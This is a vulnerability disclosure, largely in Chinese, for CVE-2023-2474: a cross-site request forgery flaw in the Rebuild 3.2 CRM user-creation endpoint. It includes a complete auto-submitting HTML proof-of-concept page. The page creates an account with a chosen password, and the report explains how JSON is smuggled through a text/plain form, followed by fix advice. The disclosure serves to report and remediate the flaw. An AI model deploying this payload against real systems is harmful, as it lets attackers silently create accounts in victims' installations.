Headline

CVE-2023-2474: 部门用户创建接口存在CSRF漏洞 · Issue #I6W4M2 · RB企业管理系统/rebuild_CRM_ERP_库存生产管理系统 - Gitee.com

A vulnerability has been found in Rebuild 3.2 and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. VDB-227866 is the identifier assigned to this vulnerability.

2 years ago

CVE

Open in Source

#csrf #vulnerability #js #git

如确认漏洞，恳请厂商回复确认漏洞帮助测试人员备案，谢谢！

版本 / Version

V3.2 版本

什么问题 / What’s the problem

部门用户创建接口存在CSRF漏洞

接口正常请求报文如下：

可以看到Content-Type默认为text/plain，且数据以json格式传输，因为cookie跨域限制不严导致可构造恶意网页实现CSRF漏洞

如何复现此问题 / How to reproduce this problem

构造POC如下：

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://nightly.getrebuild.com/app/entity/record-save" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;loginName&quot;&#58;&quot;syh2&quot;&#44;&quot;password&quot;&#58;&quot;buy8l9rB&#33;8&quot;&#44;&quot;gangwei6&quot;&#58;&quot;668&#45;01871e762adb15ce&quot;&#44;&quot;gerendianhua&quot;&#58;&quot;&quot;&#44;&quot;createdBy&quot;&#58;&quot;001&#45;0000000000000001&quot;&#44;&quot;createdOn&quot;&#58;&quot;2023&#45;04&#45;17&#32;01&#58;36&#58;41&quot;&#44;&quot;fullName&quot;&#58;&quot;syh&quot;&#44;&quot;email&quot;&#58;&quot;su&#64;123&#46;com&quot;&#44;&quot;workphone&quot;&#58;&quot;13684122536&quot;&#44;&quot;deptId&quot;&#58;&quot;002&#45;0186693a0e7903c3&quot;&#44;&quot;metadata&quot;&#58;&#123;&quot;entity&quot;&#58;&quot;User&quot;&#44;&quot;id&quot;&#58;&quot;&quot;&#125;&#44;&quot;hack&quot;&#58;&quot;" value="&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

正常POST表单会有=导致json格式错误，我们可以通过构造name value使其拼接，从而使=成为字段值，效果如下

      <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" />

利用测试
使用POC搭建网页，访问该恶意网站：

可以看到成功调用接口，成功添加账户

漏洞修复建议

限制Content-Type为application/json
或对cookie增加跨域限制，即SameSite设置为Lax

测试单位

山东大学网络空间安全学院